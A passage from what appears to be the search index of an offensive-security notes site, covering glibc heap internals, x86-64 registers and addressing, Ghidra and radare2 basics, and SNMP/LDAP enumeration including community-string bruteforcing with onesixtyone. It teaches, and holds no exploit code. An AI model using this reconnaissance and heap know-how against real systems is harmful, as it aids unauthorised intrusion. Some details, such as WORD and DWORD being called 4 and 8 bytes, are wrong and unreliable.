allocation. Memory on the heap is allotted at runtime and programs are permitted to freely request additional heap memory whenever it is required. It is the program's job to request and relieve any heap memory only once . Failure to do so can result in undefined behaviour. In C, heap memory is usually allocated through the use of malloc and whenever the program is finished with this data, the free function must be invoked in order to mark the area as available for use by the operating system and/or other programs. Heap memory can also be allocated by using malloc-compatible heap functions like calloc, realloc and memalign or in C++ using the corresponding new and new[] operators as well as their deallocation counterparts delete and delete[].","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The Heap","id":"280","title":"The Heap"},"281":{"body":"Do not read or write to a pointer returned by malloc after that pointer has been passed to free. -> Can lead to use after free vulnerabilities. Do not use or leak uninitialised information in a heap allocation. -> Can lead to information leaks or uninitialised data vulnerabilities. Do not read or write bytes after the end of an allocation. -> Can lead to heap overflow and read beyond bounds vulnerabilities. Do not pass a pointer that originated from malloc to free more than once. -> Can lead to double delete vulnerabilities. Do not write bytes before the beginning of the allocation. -> Can lead to heap underflow vulnerabilities. Do not pass a pointer that did not originate from malloc to free. -> Can lead to invalid free vulnerabilities. Do not use a pointer returned by malloc before checking if the function returned NULL. -> Can lead to null-dereference bugs and sometimes arbitrary write vulnerabilities. The implementation of the heap is platform specific.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Heap Rules","id":"281","title":"Heap Rules"},"282":{"body":"The heap grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The GLIBC Heap","id":"282","title":"The GLIBC Heap"},"283":{"body":"The heap manager allocates resources in the so-called chunks . These chunks are stored adjacent to each other and must be 8-byte aligned or 16-byte aligned on 32-bit and 64-bit systems respectively. In addition to this padding, each chunks contains metadata which provides information about the chunk itself. Consequently, issuing a request for memory allocation on the heap actually allocates more bytes than originally requested. It is important to distinguish between in-use chunks and free (or previously allocated) chunks, since they have disparate memory layouts. The following diagram outlines a chunk that is in use: The size field contains the chunk size in bytes. The following three bits carry specific meaning: A (0x04) - Allocated arena. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap'd memory and the location of the heap can be computed from the chunk's address. M (0x02) - If this bit is set, then the chunk was mmap-ed and isn't part of a heap. Typically used for large allocations. P (0x01) - If this bit is set, then the previous chunk should not be considered for coalescing and the mchunkptr points to a previous chunk still in use A free chunk looks a bit different: The size and AMP fields carry on the same meaning as those in chunks that are in use. Free chunks are organised in linked or doubly linked lists called bins . The fwd and bck pointers are utilised in the implementation of those linked lists. Different types of bins exist for different purposes. The top of the heap is by convention called the top chunk .","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Chunks","id":"283","title":"Chunks"},"284":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Memory Allocation on the Heap","id":"284","title":"Memory Allocation on the Heap"},"285":{"body":"When an application requests heap memory, the heap manager traverses the bins in search of a free chunk that is large enough to service the request. If such a chunk is found, it is removed from the bin, turned into an in-use chunk and then a pointer is returned to the user data section of the chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from Free Chunks","id":"285","title":"Allocating from Free Chunks"},"286":{"body":"If no free chunk is found that can service the request, the heap manager must construct an entirely new chunk at the top of heap. To achieve this, it first needs to ascertain whether there is enough space at the top of the heap to hold the new chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from the Top Chunk","id":"286","title":"Allocating from the Top Chunk"},"287":{"body":"Once the free space at the top of the heap is used up, the heap manager will have to ask the kernel for additional memory. On the initial heap, the heap manager asks the kernel to allocate more memory at the end of the heap by calling sbrk.On most Linux-based systems this function internally uses a system call called brk. Eventuall, the heap will grow to its maximum size, since expanding it any further would cause it to intrude on other sections of the process' address space. In this case, the heap manager will resort to using mmap to map new memory for heap expansions. If mmap also fails, then the process is unable to allocate more memory and malloc returns NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Requesting Additional Memory at the Top of the Heap from the Kernel","id":"287","title":"Requesting Additional Memory at the Top of the Heap from the Kernel"},"288":{"body":"Large chunks get treated differently in their allocation. These are allocated off-heap through the direct use of mmap calls and this is reflected in the chunk's metadata by setting the M bit to 1. When such allocations are later returned to the heap manager via a call to free, the heap manager releases the entire mmap-ed region back to the system via munmap. Different platforms have different default thresholds for what counts as a large chunk and what doesn't.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating Large Chunks","id":"288","title":"Allocating Large Chunks"},"289":{"body":"Multithreaded applications require that internal data structures on the heap are protected from race conditions. In the past, the heap manager availed itself of a global mutex before every heap operation, however, significant performance issues arose as a result. Consequently, the concept of \"arenas\" was introduced. Each arena consists of a separate heap which manages its own chunk allocation and bins. Although each arena still utilises a mutex for its internal operations, different threads can make use of different arenas to avoid having to wait for each other. The initial (main) arena consists of a single heap and for single-threaded applications it is all there ever will exist. However, as more threads are spawned, new arenas are allocated and attached to them. Once all available arenas are being utilised by threads, the heap manager will commence creating new ones until a limit - 2 * Number of CPU cores for 32-bit and 8 * Number of CPU cores for 64-bit processes - is reached. Afterwards, multiple threads will be forced to share the same arena.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Arenas","id":"289","title":"Arenas"},"29":{"body":"You will need working knowledge of SNMP in order to follow through.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Introduction","id":"29","title":"Introduction"},"290":{"body":"Free chunks are organised in the so-called bins which are essentially linked lists. For performance reasons different types of bins exist. There are 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. The last two appeared later and are built on top of the first three. Pointers to the small, large, and unsorted bins are stored in the same array in the heap manager: BIN[0] -> invalid (unused)\nBIN[1] -> unsorted bin\nBIN[2] to BIN[63] -> small bins\nBIN[64] to BIN[126] -> large bins","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Bins","id":"290","title":"Bins"},"291":{"body":"There are 62 small bins and each of them stores chunks of a fixed size. Each chunk with a size less than 512 bytes on 32-bit systems and 1024 bytes on 64-bit systems has a corresponding small bin. Small bins are sorted by default due to the fixed size of their elements and Insertion and removal of entries on these bins is incredibly fast.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Small Bins","id":"291","title":"Small Bins"},"292":{"body":"There are 63 large bins and they resemble small bins in their operation but store chunks of different sizes. Consequently, insertions and removal of entries on these lists is slower, since the entire bin has to be traversed in order to find a suitable chunk. There is a different number of bins allocated for specific chunk size ranges. The size of the chunk size range begins at 64 bytes - there are 32 bins all of which shift the range of chunk sizes they store by 64 from the previous bin. Following are 16 bins which shift the range by 512 bytes and so on. In essence: Bin 1 -> stores chunks of sizes 512 - 568 bytes; Bin 2 -> stores chunks of sizes 576 - 632 bytes; ... There are: Number of Bins Spacing between Bins 32 64 16 512 8 4096 4 32768 2 262144 1 Remaining chunk sizes","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Large Bins","id":"292","title":"Large Bins"},"293":{"body":"There is a single unsorted bin. Chunks from small and large bins end up directly in this bin after they are freed. The point of the unsorted bin is to speed up allocations by serving a sort of cache. When malloc is invoked, it will first traverse this bin and see if it can immediately service the request. If not, it will move onto the small or large bins respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Unsorted Bins","id":"293","title":"Unsorted Bins"},"294":{"body":"Fast bins provide a further optimisation layer. Recently released small chunks are put in fast bins and are not initially merged with their neighbours. This allows for them to be repurposed forthwith, should a malloc request for that chunk size come very soon after the chunk's release. There are 10 fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata. Fast bins are implemented as singly linked lists and insertions and removals of entries in them are really fast. Periodically, the heap manager consolidates the heap - chunks in the fast bins are merged with the abutting chunks and inserted into the unsorted bin. This consolidation occurs when a malloc request is issued for a size that is larger than a fast bin can serve (chunks over 512 bytes on 32-bit systems and over 1024 bytes on 64-bit systems), when freeing a chunk larger than 64KB or when malloc_trim or mallopt is invoked.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Fast Bins","id":"294","title":"Fast Bins"},"295":{"body":"A new caching mechanism called tcache (thread local caching) was introduced in glibc version 2.26 back in 2017. The tcache stores bins of fixed size small chunks as singly linked lists. Similarly to a fast bin, chunks in tcache bins aren't merged with adjoining chunks. By default, there are 64 tcache bins, each containing a maximum of 7 same-sized chunks. The possible chunk sizes range from 12 to 516 bytes on 32-bit systems and from 24 to 1032 bytes on 64-bit systems. When a chunk is freed, the heap manager checks if the chunk fits into a tcache bin corresponding to that chunk size. If the tcache bin for this size is full or the chunk is simply too big to fit into a tcache bin, the heap manager obtains a lock on the arena and proceeds to comb through other bins in order to find a suitable one for the chunk. When malloc needs to service a request, it first checks the tcache for a chunk of the requested size that is available and should such a chunk be found, malloc will return it without ever having to obtain a lock. If the chunk too big, malloc continues as before. A slightly different strategy is employed if the requested chunk size does have a corresponding tcache bin, but that bin is simply full. In that case, malloc obtains a lock and promotes as many heap chunks of the requested size to tcache chunks, up to the tcache bin limit of 7. Subsequently, the last matching chunk is returned.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป TCache Bins","id":"295","title":"TCache Bins"},"296":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป malloc and free","id":"296","title":"malloc and free"},"297":{"body":"First, every allocation exists as a memory chunk which is aligned and contains metadata as well as the region the programmer wants. When a programmer requests memory from the heap, the heap manager first works out what chunk size the allocation request corresponds to, and then searches for the memory in the following order: If the size corresponds with a tcache bin and there is a tcache chunk available, return that immediately. If the request is huge, allocate a chunk off-heap via mmap. Otherwise obtain the arena heap lock and then perform the following steps, in order: Try the fastbin/smallbin recycling strategy If a corresponding fast bin exists, try and find a chunk from there (and also opportunistically prefill the tcache with entries from the fast bin). Otherwise, if a corresponding small bin exists, allocate from there (opportunistically prefilling the tcache as we go). Resolve all the deferred frees - Otherwise merge the entries in the fast bins and move their consolidated chunks to the unsorted bin. - Go through each entry in the unsorted bin. If it is suitable, return it. Otherwise, put the unsorted entry on its corresponding small/large bin as we go (possibly promoting small entries to the tcache). Default back to the basic recycling strategy If the chunk size corresponds with a large bin, search the corresponding large bin now. Create a new chunk from scratch Otherwise, there are no chunks available, so try and get a chunk from the top of the heap. If the top of the heap is not big enough, extend it using sbrk. If the top of the heap canโ€™t be extended because we ran into something else in the address space, create a discontinuous extension using mmap and allocate from there If all else fails, return NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocation","id":"297","title":"Allocation"},"298":{"body":"If the pointer is NULL, do nothing. Otherwise, convert the pointer back to a chunk by subtracting the size of the chunk metadata. Perform a few sanity checks on the chunk, and abort if the sanity checks fail. If the chunk fits into a tcache bin, store it there. If the chunk has the M bit set, give it back to the operating system via munmap. Otherwise we obtain the arena heap lock and then: If the chunk fits into a fastbin, put it on the corresponding fastbin. If the chunk size is greater than 64KB, consolidate the fastbins immediately and put the resulting merged chunks on the unsorted bin. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins. If the resulting chunk lies at the top of the heap, merge it into the top chunk. Otherwise store it in the unsorted bin.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Deallocation","id":"298","title":"Deallocation"},"299":{"body":"Registers are value containers which reside on the CPU and not in RAM. They are small in size and some have special purposes. You may store both addresses and values in registers and depending on the instruction used the data inside will be interpreted in a different way - this is commonly called an addressing mode . In x86 Intel assembly (i386), the registers are 32 bits (4 bytes) in size and some of them are reserved: ebp - the base pointer, points to the bottom of the current stack frame esp - the stack pointer, points to the top of the current stack frame eip - the instruction pointer, points to the next instruction to be executed The other registers are general purpose registers and can be used for anything you like: eax, ebx, ecx, edx, esi, edi. x64 AMD assembly (amd64) extends these 32-bit registers to 64-bit ones and denotes these new versions by replacing the initial e with an r: rbp, rsp, rip, rax, ... It is important to note that these are not different registers - eax and rax refer to the same space on the CPU, however, eax only provides access to the lower 32 bits of the 64-bit register. You can also get access to the lower 16 and 8 bits of the register using different names: 8 Byte Register Lower 4 Bytes Lower 2 Bytes Lower Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, you cannot access the lower 16 or 8 bits of the instruction pointer. You might sometimes see WORD or DWORD being used in a similar context - WORD means 4 bytes and DWORD means 8 bytes.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Registers","id":"299","title":"Registers"},"3":{"body":"Any major changes outside of the eight category folders in the Notes/ directory are not permitted and will be rejected.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป Out-of-Scope","id":"3","title":"Out-of-Scope"},"30":{"body":"snmp-check is a simple utility for basic SNMP enumeration. You only need to provide it with the IP address to enumerate: snmp-check [IP] Furthermore, you have the following command-line options: -p: Change the port to enumerate. Default is 161. -c: Change the community string to use. Default is public -v: Change the SNMP version to use. Default is v1. There are additional arguments that can be provided but these are the salient ones.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmp-check","id":"30","title":"SNMP Enumeration using snmp-check"},"300":{"body":"Under x64 Linux, function arguments are passed via registers: rdi: First Argument\nrsi: Second Argument\nrdx: Third Argument\nrcx: Fourth Argument\nr8: Fifth Argument\nr9: Sixth Argument The return value is store in rax (eax on 32-bit machines).","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Use in x64 Linux","id":"300","title":"Register Use in x64 Linux"},"301":{"body":"Register dereferencing occurs when the value of the register is treated as an address to the actual data to be used, rather than the data itself. This means that addressed can be stored in registers and used later - this is useful when dealing with large data sizes. For example, mov rax, [rdx] Will check the value inside rdx and treat it as an address - it will go to the location where this address points and get its data from there. It will then move this data into rax. If we hadn't used [], it would have treated the address in rdx simply as a value and moved it directly into rax.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Registers ยป Register Dereferencing","id":"301","title":"Register Dereferencing"},"302":{"body":"Ghidra is an open-source framework for reverse engineering developed by the NSA. It groups binaries into projects which can be shared amonst multiple people.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Introduction","id":"302","title":"Introduction"},"303":{"body":"To install Ghidra, you can run sudo apt install ghidra.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Installation","id":"303","title":"Installation"},"304":{"body":"File -> New Project Non-Shared Project Select Directory Name the Project","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Creating a Project","id":"304","title":"Creating a Project"},"305":{"body":"File -> Import File Select the binary you want to import Ghidra will automatically detect certain information about the file After importing, Ghidra will display an Import Results Summary containing information about the binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Creating a Project and Loading a Binary ยป Loading a Binary","id":"305","title":"Loading a Binary"},"306":{"body":"Double-clicking on a program will open it in the Code Browser. A prompt will appear for analysing the binary. Ghidra will attempt to create and label functions, as well as identify any cross-references in memory. Once the binary has been analysed you will be presented with the following screen:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with Ghidra ยป Initial Analysis ยป Initial Analysis","id":"306","title":"Initial Analysis"},"307":{"body":"radare2 is an open-source framework for reverse engineering. The framework includes multiple tools which all work in tandem in order to aid in the analysis of binary files. It uses short abbreviations for its commands - single letters - and many of its commands have subcommands which are also expressed as single letters. Luckily, you can always append a ? to a specific command in order to view its subcommands and what they do. To quit radare2, use the q command.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Introduction","id":"307","title":"Introduction"},"308":{"body":"You can load a binary by invoking the r2 command. You might sometimes need to also add the -e io.cache=true option in order to fix relocations in disassembly.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Loading a Binary","id":"308","title":"Loading a Binary"},"309":{"body":"aaa - analyse the binary afl - list the analysed functions axt - list all the places where a function is called. Note, you need to use the flag name that redare automatically creates for funtions after aaa.","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Analysis ยป Analysis","id":"309","title":"Analysis"},"31":{"body":"snmpwalk is a much more versatile tool for SNMP enumeration. It's syntax is mostly the same as snmp-check:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป SNMP Enumeration using snmpwalk","id":"31","title":"SNMP Enumeration using snmpwalk"},"310":{"body":"/ - search the bytes of the binary for a specific string /w - search for wide character strings like Unicode symbols","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Strings ยป Strings","id":"310","title":"Strings"},"311":{"body":"i - display file information ie - find the program's entry point iM - find the program's main function iz - pull the hard-coded strings from the executable (only the data sections), use izz to get the strings from the entire binary","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Binary Info ยป Binary Info","id":"311","title":"Binary Info"},"312":{"body":"Flags resemble bookmarks. They associate a name with a given offset in a file. Create a new flag f @ offset You can also remove a flag by appending - to the command: f- List available flags - f: Rename a flag fr ","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flags","id":"312","title":"Flags"},"313":{"body":"Flag names should be unique for addressing reasons. However, it is often the case that you need to have simple and ubiquitous names like loop or return. For this purpose exist the so-called \"local\" flags, which are tied to the function where they reside. It is possible to add them using f. command:","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Local Flags","id":"313","title":"Local Flags"},"314":{"body":"Flags can be grouped into flag spaces - is a namespace for flags, grouping together similar flags. Some flag spaces include sections, registers, symbols. These are managed with the fs command. [0x00001080]> fs?\nUsage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n| fs display flagspaces\n| fs* display flagspaces as r2 commands\n| fsj display flagspaces in JSON\n| fs * select all flagspaces\n| fs flagspace select flagspace or create if it doesn't exist\n| fs-flagspace remove flagspace\n| fs-* remove all flagspaces\n| fs+foo push previous flagspace and set\n| fs- pop to the previous flagspace\n| fs-. remove the current flagspace\n| fsq list flagspaces in quiet mode\n| fsm [addr] move flags at given address to the current flagspace\n| fss display flagspaces stack\n| fss* display flagspaces stack in r2 commands\n| fssj display flagspaces stack in JSON\n| fsr newname rename selected flagspace","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Flags ยป Flag Spaces","id":"314","title":"Flag Spaces"},"315":{"body":"Moving around the file requires the usage of the seek (s) command in order to change the offset at which we are. It takes one argument which is a mathematical expression capable of containing flag names, parenthesis, addition, substraction, multiplication of immediates of contents of memory using brackets. Examples: [0x00000000]> s 0x10\n[0x00000010]> s+4\n[0x00000014]> s-\n[0x00000010]> s+\n[0x00000014]> Here is a list of additional seeking commands: [0x00000000]> s?\nUsage: s # Help for the seek commands. See ?$? to see all variables\n| s Print current address\n| s.hexoff Seek honoring a base from core->offset\n| s:pad Print current address with N padded zeros (defaults to 8)\n| s addr Seek to address\n| s- Undo seek\n| s-* Reset undo seek history\n| s- n Seek n bytes backward\n| s--[n] Seek blocksize bytes backward (/=n)\n| s+ Redo seek\n| s+ n Seek n bytes forward\n| s++[n] Seek blocksize bytes forward (/=n)\n| s[j*=!] List undo seek history (JSON, =list, *r2, !=names, s==)\n| s/ DATA Search for next occurrence of 'DATA'\n| s/x 9091 Search for next occurrence of \\x90\\x91\n| sa [[+-]a] [asz] Seek asz (or bsize) aligned to addr\n| sb Seek aligned to bb start\n| sC[?] string Seek to comment matching given string\n| sf Seek to next function (f->addr+f->size)\n| sf function Seek to address of specified function\n| sf. Seek to the beginning of current function\n| sg/sG Seek begin (sg) or end (sG) of section or file\n| sl[?] [+-]line Seek to line\n| sn/sp ([nkey]) Seek to next/prev location, as specified by scr.nkey\n| so [N] Seek to N next opcode(s)\n| sr pc Seek to register\n| ss Seek silently (without adding an entry to the seek history) > 3s++ ; 3 times block-seeking\n> s 10+0x80 ; seek at 0x80+10","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Seeking ยป Seeking","id":"315","title":"Seeking"},"316":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป Introduction","id":"316","title":"Introduction"},"317":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Introduction","id":"317","title":"Introduction"},"318":{"body":"Variables in assembly do not exists in the same sense as they do in higher-level programming languages. This is especially true of local variabls such as those inside functions. Instead of allocating space for a particular value and having that place be \"named\" according to a variable, the compiler may use a combination of stack and heap allocations as well as registers to achieve behaviour resembling a variable. That being said, there are some parallels with higher-level programming languages as well. When manually programming assembly, it should be noted that variable names are more or less identical to addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Introduction","id":"318","title":"Introduction"},"319":{"body":"Assembly constants cannot be changed during run-time execution. Their value is substituted at assembly-time (corresponding to compile-time substitution for constants in higher-level languages). Consequently, constants are not even assigned a location in memory, for they turn into hard-coded values. Defining constants in assembly is done in the following way: equ For example, EXAMPLE equ 0xdeadbeef","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Constants","id":"319","title":"Constants"},"32":{"body":"Notwithstanding its age, onesixtyone is a good tool which allows you to bruteforce community strings by specifying a file instead of a single string with its -c option. It's syntax is rather simple:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Bruteforce community strings with onesixtyone","id":"32","title":"Bruteforce community strings with onesixtyone"},"320":{"body":"Static or global variables which are initialised before the programme executes are stored in the .data section. In order to define such a variable, you must give it a name, data size and value. In contrast with constants, such data can be mutated during run-time. The following data size declarations can be used: Declaration Size (in bits) Type db 8 dw 16 dd 32 dq 64 ddq 128 Integer dt 128 Floating-Point The syntax for declaring such variables is as follows: For example: byteVar db 0x1A ; byte variable","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Initialised Data","id":"320","title":"Static Initialised Data"},"321":{"body":"Static uninitialised data is stored in the .bss section. The syntax for allocating such variables is following: Such variables are usually allocated as chunks, hence the required count. The primary data types are as follows: Declaration Size (in bits) resb 8 resw 16 resd 32 resq 64 resdq 128 Some examples: bArr resb 10 ; 10 element byte array wArr resw 50 ; 50 element word array dArr resd 100 ; 100 element double array qArr resq 200 ; 200 element quad array","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Uninitialised Data","id":"321","title":"Static Uninitialised Data"},"322":{"body":"Data representation refers to the way that values are stored in a computer. For technical reasons, computers do not use the familiar base-10 number system but rather avail themselves of the base-2 (binary) system. Under this paradigm, numbers are represented as 1's and 0's.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Introduction","id":"322","title":"Introduction"},"323":{"body":"When storing an integer value, there are two ways to represent it - signed and unsigned - depending on whether the value should be entirely non-negative or may also have a \"-\" sign. Based on the number of bits used for storing a value, the value may have a different range. Size Range Size Unsigned Range Signed Range Byte (8 bits) 28 [0..255] [โˆ’128..+127] Word (16 bits) 216 [0..65,535] [โˆ’32,768..+32,767] Doubleword (32 bits) 232 [0..4,294,967,295] [โˆ’2,147,483,648..+2,147,483,647] Quadword (64 bits) 264 [0..264โˆ’1] [โˆ’263..+263โˆ’1] Double Quadword (128 bits) 2128 [0..2128โˆ’1] [โˆ’2127..+2127โˆ’1] Unsigned integers are represented in their typical binary form.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Integer Representation","id":"323","title":"Integer Representation"},"324":{"body":"Signed integers are represented using two's complement. In order to convert a acquire the negative form of a number in two's complement, is two negate all of its bits and add 1 to the number. A corollary of this representation is that it adds no complexity to the addition and subtraction operations.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Two's Complement","id":"324","title":"Two's Complement"},"325":{"body":"Addressing modes refer to the supported methods for accessing and manipulating data. There are three basic addressing modes in x86-64: register, immediate and memory.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Introduction","id":"325","title":"Introduction"},"326":{"body":"In register mode addressing, the operand is a register ( brain undergoing nuclear-fission ). mov rax, rbx The value inside rbx is copied to rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Register Mode Addressing","id":"326","title":"Register Mode Addressing"},"327":{"body":"In immediate mode addressing, the operand is an immediate value, or a literal . These are simply constant values such as 10, 0xfa3, \"lol\", and so on. mov rax, 123 The number 123 is copied into rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Immediate Mode Addressing","id":"327","title":"Immediate Mode Addressing"},"328":{"body":"In memory mode addressing, the operand is treated as a memory location. This is referred to as indirection or dereferencing and is similar to how pointers can be dereferenced in C/C++. In assembly, this is done by wrapping the operand in square brackets: []. So for example, rax refers to the value stored within the register rax. However, [rax] means \"treat rax like a pointer and use the value it points to\". Essentially, [rax] treats the value inside the register as an address and uses that address to find the actual value it needs. mov DWORD PTR [rax], 0xdeadbeef The value 0xdeadbeef is copied into the location pointed to by rax. Since memory is byte-addressable, it is oftentimes required to specify how many bytes we want to access. This is done by prepending one of the following specifiers to the operand: Specifier Number of Bytes BYTE PTR / byte 1 WORD PTR / word 2 DWORD PTR / dword 4 QWORD PTR / qword 8 Moreover, the actual formula for memory addressing is a bit more complicated, since it was developed mainly for making the implementation of arrays easier. [baseAddr + (indexReg * scaleValue) + offset] The baseAddr must be a register or variable name, although it may be omitted in which case the address is relative to the beginning of the data segment. indexReg is a register which specifies contains an index into the array and the scaleValue is the size (in bytes) of a single member of the array. The offset must be an immediate value. mov eax, dword [ebx] ; move into eax the value which ebx points to\nmov rax, QWORD PTR [rbx + rsi] ; move into rax the value which (rbx + rsi) points to\nmov rcx, qword [rax+(rsi*8)] ; move into rcx the value which (rax + (rsi*8)) points to","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Memory Mode Addressing","id":"328","title":"Memory Mode Addressing"},"329":{"body":"Memory is nothing more than a series of bytes which can be individually addressed. When storing values which are larger than a single byte, the bytes under the x86-64 paradigms are stored in little-endian order - the least significant byte (LSB) at the lowest memory address and the most significant byte (MSB) at the highest memory address. For example, the variable var = 0xDEADBEEF would be represented in memory as follows: Note how the right-most byte is at a lower address and the addresses for the rest of the bytes increase as we go right-to-left.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Endianness","id":"329","title":"Endianness"},"33":{"body":"The Leightweight Directory Access Protocol (LDAP) is a protocol which facilitates the access and locating of resources within networks set up with directory services. It stores valuable data such as user information about the organisation in question and has functionality for user authentication and authorisation. What makes LDAP especially easy to enumerate is the possible support of null credentials and the fact that even the most basic domain user credentials will suffice to enumerate a substantial portion of the domain. LDAP runs on the default ports 389 and 636 (for LDAPS), while Global Catalog ( Active Directory 's instance of LDAP) is available on ports 3268 and 3269. Tools which can be used to enumerate LDAP include ldapsearch and windapsearch .","breadcrumbs":"Reconnaissance ยป Enumeration ยป LDAP Enumeration (389, 636, 3268, 3269) ยป Introduction","id":"33","title":"Introduction"},"330":{"body":"Below is the general memory layout of a programme: The reserved section is unavailable to user programmes. The .text sections stores the instructions which comprise the programme's code. Static variables which were declared and given a value at assemble-time are stored in the .data section. The .bss section stores static uninitialised data, i.e variables which were declared but were not provided with an initial value. If such variables are used before they are initialised, their value will be meaningless. The Stack and the Heap are where data can be allocated at run-time. The Stack is used for allocating space for small amounts of data with a size known at compile-time and grows from higher to lower addresses. Conversely, the Heap allows for the dynamic allocation of space for data of size known at run-time and grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Memory Layout","id":"330","title":"Memory Layout"},"331":{"body":"Registers are value containers which reside on the CPU (separately from RAM). They are small in size and some have special purposes. x86-64 assembly operates with 16 general-purpose registers (GPRs). It should be noted that the 8-byte (r) variants do not exist in 32-bit mode. 64-bit Register Lower 4 Bytes Lower 2 Bytes Lower 1 Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, the lower 16 bits of the rip register (instruction pointer) are inaccessible on their own. For example, the rax register could be set to the following: rax = 0x0000 000AB 10CA 07F0 The name eax would then only refer to the part of the rax register which contains 10CA 07F0. Similarly, ax would represent 07F0, and al would be just F0. Additionally, the upper byte of ax, bx, cx and dx may be separately accessed by means of the ah, bh, ch and dh monikers, which exist for legacy reasons.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Introduction","id":"331","title":"Introduction"},"332":{"body":"Not all registers available in the x86-64 paradigm are created equal. Certain registers are reserved for specific purposes, despite being called general-purpose.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Register Specialisation","id":"332","title":"Register Specialisation"},"333":{"body":"The stack pointer rsp (esp for 32-bit machines) is used to point to the current top of the stack and should not be used for any other purpose other than in instructions which involve stack manipulation.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers 